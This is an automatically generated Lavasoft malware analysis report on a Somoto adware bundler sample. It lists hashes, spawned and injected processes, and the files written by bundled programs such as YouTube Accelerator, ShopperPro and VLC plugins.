Application.Bundler.Somoto.I_61c1e9ce07

by malwarelabrobot on December 18th, 2014 in Malware Descriptions.

Application.Bundler.Somoto.I (AdAware), mzpefinder_pcap_file.YR (Lavasoft MAS) Behaviour: Malware

The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Summary

Dynamic Analysis

Static Analysis

Network Activity

Map

Strings from Dumps

Removals

MD5: 61c1e9ce078e3e20f171532f2a80443c SHA1: e088a805edf80022471558c5dfc07255924d283f SHA256: f77a1852200f2840c787a7aa90169adffe10b01ed08676773c8db99fbe5bd9f0 SSDeep: 3072: 22ihA0m3BJf0ASuV8BsBP1hzbgl6so5Co4EmKm1p:xA0m3T0ASIB3zk6s3o4tKg Size: 167536 bytes File type: EXE Platform: WIN32 Entropy: Packed PEID: UPolyXv05_v6 Company: no certificate found Created at: 2010-12-17 11:14:12 Analyzed on: Windows7Ada SP1 64-bit

Summary:

Malware. Malware, short for malicious software, is any software used to disrupt computer operation, gather sensitive information, or gain access to private computer systems.

Payload

No specific payload has been found.

Process activity

The Application creates the following process(es):

YTAHelper.exe:1628
shopperpro.exe:3500
vlc-cache-gen.exe:3944
YouTubeAcceleratorService.exe:3040
YouTubeAcceleratorService.exe:2608
YouTubeAcceleratorService.exe:3732
ins_postInst.exe:3644
TPAutoConnSvc.exe:1776
2c511d52-7693-4ed4-9079-996023e7571e-4.exe:3968
appshat.exe:2916
biclient.exe:1224
biclient.exe:688
biclient.exe:1684
BB3.tmp:2544
Dbsuiszoxonm.exe:2680
ins_yta.exe:2524
testlsp.exe:2364
YTAHEL~1.EXE:2844
powershell.exe:3056
powershell.exe:2880
powershell.exe:4084
setup.exe:3204
WerFault.exe:2136
ShopperPro.exe:1744
f72568d9-a3ec-45be-93e0-9f4ce730882b.exe:2384
App Lid-codedownloader.exe:2192
App Lid-codedownloader.exe:700
vlc-2.0.2-win32.exe:580
regsvr32.exe:2288
regsvr32.exe:2308
regsvr32.exe:3600
regsvr32.exe:2568
regsvr32.exe:2996
regsvr32.exe:3648
lspinst.exe:3584
lspinst.exe:1452
webplayer_installer.exe:240
GLJ3321.tmp:3172
appshat_generic.exe:604
vlc.exe:944
DCytaiesmt_smtyc_setup.exe:1648
cscript.exe:1628
spbiu.exe:2792
spbiu.exe:476
wscript.exe:3140
GLB32D2.tmp:3296
2c511d52-7693-4ed4-9079-996023e7571e-11.exe:2496
taskeng.exe:3476
taskeng.exe:908
smt_mystartsearch.exe:3960
ytaiesmt_smtyc_setup.exe:1808
%original file name%.exe:3836
jsdrv.exe:3492

The Application injects its code into the following process(es):

YouTubeAcceleratorService.exe:1192
YouTubeAccelerator.exe:1540
WebPlayer.exe:4032

Mutexes

The following mutexes were created/opened: No objects were found.

File activity

The process YTAHelper.exe:1628 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YTAHelper\config.json (486 bytes)

The process shopperpro.exe:3500 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse35E0.tmp\NK.lky (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse35DF.tmp (153103 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse35E0.tmp\D1958.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse35E0.tmp\setup.exe (1583141 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse35E0.tmp\setup1.exe (142646 bytes)

The process vlc-cache-gen.exe:3944 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_gather_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libes_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libi420_rgb_plugin.dll (57 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libflacsys_plugin.dll (49 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libtheora_plugin.dll (389 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libscale_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmjpeg_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libsid_plugin.dll (974 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libextract_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libtwolame_plugin.dll (155 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libwall_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libpuzzle_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libaiff_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\librv32_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_dummy_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmotionblur_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libclone_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_delay_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libvdummy_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\sse2\libi420_rgb_sse2_plugin.dll (139 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libntservice_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmod_plugin.dll (487 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\services_discovery\libmediadirs_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libcc_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_dirac_plugin.dll (53 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libdmo_plugin.dll (57 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\sse2\libi422_yuy2_sse2_plugin.dll (53 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libosdmenu_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_ps_plugin.dll (98 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libcroppadd_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_duplicate_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libdemux_stl_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\visualization\libprojectm_plugin.dll (49 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libinvert_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libdirectx_plugin.dll (73 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmpgv_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libyuy2_i422_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libps_plugin.dll (57 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mpeg4video_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mmx\libmemcpymmx_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_wav_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libsvcdsub_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libglwin32_plugin.dll (69 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_ts_plugin.dll (139 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libaudiobargraph_v_plugin.dll (57 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libscene_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libcvdsub_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\liblibmpeg2_plugin.dll (167 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libnetsync_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libgradient_plugin.dll (49 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libball_plugin.dll (49 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\sse2\libi420_yuy2_sse2_plugin.dll (53 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libcolorthres_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_dummy_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libkate_plugin.dll (106 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mmxext\libmemcpymmxext_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libreal_plugin.dll (57 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\services_discovery\libwindrive_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libimage_plugin.dll (49 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_standard_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mlp_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\plugins.dat.3944 (135036 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libripple_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libasf_plugin.dll (73 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_langfromtelx_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mpegvideo_plugin.dll (49 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_filter\libstream_filter_dash_plugin.dll (724 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libsubsdec_plugin.dll (49 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmp4_plugin.dll (200 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libadjust_plugin.dll (53 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmagnify_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libatmo_plugin.dll (184 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libcanvas_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_setid_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_mosaic_bridge_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libmpeg_audio_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libdvbsub_plugin.dll (155 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libpanoramix_plugin.dll (57 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\librawvid_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libchain_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmirror_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libtta_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libcaca_plugin.dll (770 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_h264_plugin.dll (90 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libdts_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\visualization\libgoom_plugin.dll (237 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\visualization\libvisual_plugin.dll (65 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libx264_plugin.dll (49 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libspeex_plugin.dll (155 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\text_renderer\libfreetype_plugin.dll (700 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libdirac_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libglobalhotkeys_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_smem_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libavcodec_plugin.dll (825 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libcdg_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libsmf_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libpva_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libhqdn3d_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_asf_plugin.dll (57 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libvorbis_plugin.dll (49 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libbluescreen_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_description_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_vc1_plugin.dll (49 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libwave_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libantiflicker_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_mp4_plugin.dll (57 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libspudec_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libyuy2_i420_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libwingdi_plugin.dll (57 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\liblive555_plugin.dll (671 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\librawdv_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libh264_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libsharpen_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libswscale_plugin.dll (430 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libschroedinger_plugin.dll (49 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libflac_plugin.dll (266 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libgme_plugin.dll (413 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libplaylist_plugin.dll (106 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libposterize_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmpc_plugin.dll (98 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\liboldrc_plugin.dll (73 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_copy_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libogg_plugin.dll (102 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libgrey_yuv_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libpostproc_plugin.dll (90 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\services_discovery\libupnp_plugin.dll (290 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\librotate_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libgaussianblur_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\liblogo_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libtransform_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libyuv_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libfaad_plugin.dll (372 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libdrawable_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\liblpcm_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_select_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libblendbench_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libgestures_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libavi_plugin.dll (94 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libts_plugin.dll (135 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_mpjpeg_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\liblibass_plugin.dll (49 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libcrystalhd_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_rtp_plugin.dll (479 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_transcode_plugin.dll (73 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libalphamask_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\librawaud_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_filter\libstream_filter_record_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_raop_plugin.dll (421 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libremoteosd_plugin.dll (421 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libgrain_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libt140_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\liberase_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libstl_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libnuv_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmosaic_plugin.dll (53 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\notify\libmsn_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libvmem_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libdirect3d_plugin.dll (73 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\services_discovery\libsap_plugin.dll (86 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libddummy_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_ogg_plugin.dll (57 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\text_renderer\libtdummy_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\services_discovery\libpodcast_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_display_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libquicktime_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libblend_plugin.dll (196 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_autodel_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libzvbi_plugin.dll (49 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libi420_yuy2_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libsubsdelay_plugin.dll (49 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libpsychedelic_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libgradfun_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libdummy_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_record_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_avi_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libi422_i420_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libpng_plugin.dll (188 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libdemuxdump_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libnsv_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libedummy_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libfluidsynth_plugin.dll (266 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_flac_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmotiondetect_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\librss_plugin.dll (49 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libdirect2d_plugin.dll (57 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libnsc_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmkv_plugin.dll (49 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libsepia_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_filter\libstream_filter_httplive_plugin.dll (442 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libi422_yuy2_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libsubtitle_plugin.dll (57 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_bridge_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mpeg4audio_plugin.dll (57 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\librawvideo_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_es_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libhotkeys_plugin.dll (53 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libyuvp_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libdeinterlace_plugin.dll (188 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmarq_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libsubsusf_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libau_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libdemux_cdg_plugin.dll (36 bytes)

The process YouTubeAcceleratorService.exe:1192 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_1192_YouTubeAcceleratorService.log (249309 bytes)
C:\Windows\Temp\SBC61FD.tmp (98 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAcceleratorService_1192.log (591 bytes)
C:\Windows\Temp\SBC711E.tmp (51193 bytes)
%Program Files% (x86)\YouTube Accelerator\helper.dll (200 bytes)
C:\Windows\Temp\SBC652E.tmp (547 bytes)
C:\Windows\Temp\SBC692E.tmp (44 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (6515 bytes)
C:\Windows\Temp\SBC6C3C.tmp (44 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\va_conf.dat (706 bytes)
C:\Windows\Temp\SBCAA38.tmp (547 bytes)
C:\ProgramData\TEMP:56E2E879 (244 bytes)
C:\Windows\Temp\SBC6B32.tmp (98 bytes)

The process YouTubeAcceleratorService.exe:3732 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\engine.dll (146 bytes)
%Program Files% (x86)\YouTube Accelerator\ipc.dll (286 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (60 bytes)
%Program Files% (x86)\YouTube Accelerator\xmldb.dll (192 bytes)

The process ins_postInst.exe:3644 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_32428\shopperpro.exe (18017 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Installsense_15393\ins_postInst.exe (7547 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Installiwebar_13315\ins_postInst.exe (7547 bytes)

The process YouTubeAccelerator.exe:1540 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAcceleratorService_1192.log_tmp (493 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_now_accelerating.mht (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbkA821.tmp (242 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbkA8B4.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (86 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbkA96B.tmp (50 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\dl_update.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_off.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbkA948.tmp (242 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbkA8B2.tmp (50 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\itunesmessage.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestsucceeded.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbkA8C5.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\now_accelerating.mht (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbkA96D.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\hd_disabled.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbkA983.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\exiting.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAccelerator_1540.log_tmp (13 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestfailed.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_now_accelerating.mht (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbkA891.tmp (682 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\oem_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\blank.html (97 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbkA981.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_video_accelerator.mht (38 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbkA94A.tmp (682 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\ipc_2364_testlsp.log_tmp (989 bytes)
